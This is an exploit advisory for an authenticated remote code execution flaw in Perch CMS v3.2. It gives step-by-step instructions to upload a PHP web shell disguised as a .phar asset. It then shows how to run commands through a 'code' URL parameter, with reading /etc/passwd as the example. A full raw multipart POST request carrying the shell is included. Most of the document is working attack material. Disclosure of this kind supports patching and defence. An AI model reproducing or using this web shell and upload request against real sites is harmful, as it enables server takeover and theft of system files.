Exploit Title: Perch v3.2 - Remote Code Execution (RCE) Application: Perch Cms Version: v3.2 Bugs: RCE Technology: PHP Vendor URL: https://grabaperch.com/ Software Link: https://grabaperch.com/download Date of found: 21.07.2023 Author: Mirabbas Ağalarov Tested on: Linux 2. Technical Details & POC ======================================== steps: 1. login to account as admin 2. go to visit assets (http://localhost/perch_v3.2/perch/core/apps/assets/) 3. add assets (http://localhost/perch_v3.2/perch/core/apps/assets/edit/) 4. upload poc.phar file poc.phar file contents : <?php $a=$_GET['code']; echo system($a);?> 5. visit http://localhost/perch_v3.2/perch/resources/admin/poc.phar?code=cat%20/etc/passwd poc request: POST /perch_v3.2/perch/core/apps/assets/edit/ HTTP/1.1 Host: localhost Content-Length: 1071 Cache-Control: max-age=0 sec-ch-ua: sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "" Upgrade-Insecure-Requests: 1 Origin: http://localhost Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYGoerZn09hHSjd4Z User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.134 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost/perch_v3.2/perch/core/apps/assets/edit/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: phpwcmsBELang=en; cmsa=1; PHPSESSID=689rdj63voor49dcfm9rdpolc9 Connection: close ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="resourceTitle" test ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="image"; filename="poc.phar" Content-Type: application/octet-stream <?php $a=$_GET['code']; echo system($a);?> ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="image_field" 1 ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="image_assetID" ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="resourceBucket" admin ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="tags" test ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="btnsubmit" Submit ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="formaction" edit ------WebKitFormBoundaryYGoerZn09hHSjd4Z Content-Disposition: form-data; name="token" 5494af3e8dbe5ac399ca7f12219cfe82 ------WebKitFormBoundaryYGoerZn09hHSjd4Z--